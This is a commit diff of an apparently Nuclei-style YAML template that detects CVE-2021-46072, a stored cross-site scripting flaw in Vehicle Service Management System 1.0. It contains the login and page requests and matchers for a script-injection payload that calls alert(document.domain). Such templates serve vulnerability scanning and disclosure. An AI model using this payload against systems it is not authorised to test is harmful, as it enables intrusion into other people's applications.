Update CVE-2021-46072.yaml

patch-1
Ritik Chaddha 2022-08-31 23:56:19 +05:30 committed by GitHub
parent 1c820994c1
commit 154f4565bd
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 16 additions and 19 deletions

View File

@ -1,25 +1,21 @@
id: CVE-2021-46072
info:
name: Vehicle Service Management System - 'Service List' Stored Cross Site Scripting (XSS)
name: Vehicle Service Management System - Stored Cross Site Scripting
author: TenBird
severity: Medium
description: A Stored Cross Site Scripting (XSS) vulnerability exists in Vehicle Service Management System 1.0 via the Service List Section in login panel.
severity: medium
description: |
A Stored Cross Site Scripting (XSS) vulnerability exists in Vehicle Service Management System 1.0 via the Service List Section in login panel.
reference:
- https://github.com/plsanu/Vehicle-Service-Management-System-Service-List-Stored-Cross-Site-Scripting-XSS
- https://www.plsanu.com/vehicle-service-management-system-service-list-stored-cross-site-scripting-xss
- https://nvd.nist.gov/vuln/detail/CVE-2021-46072
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
cvss-score: 4.8
cve-id: CVE-2021-46072
cwe-id: CWE-79
tags: cve,cve2021,Stored XSS,Cross-Site-Script
tags: cve,cve2021,xss,vms,authenticated
requests:
- raw:
- |
GET /vehicle_service/admin/login.php HTTP/1.1
Host: {{Hostname}}
- |
POST /vehicle_service/classes/Login.php?f=login HTTP/1.1
Host: {{Hostname}}
@ -38,14 +34,15 @@ requests:
GET /vehicle_service/admin/?page=maintenance/services HTTP/1.1
Host: {{Hostname}}
req-condition: true
redirects: true
max-redirects: 2
cookie-reuse: true
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- '"><script>alert(document.domain)</script>'
- type: dsl
dsl:
- "contains(all_headers_3, 'text/html')"
- "status_code_3 == 200"
- 'contains(body_3, "<td>\"><script>alert(document.domain)</script></td>")'
condition: and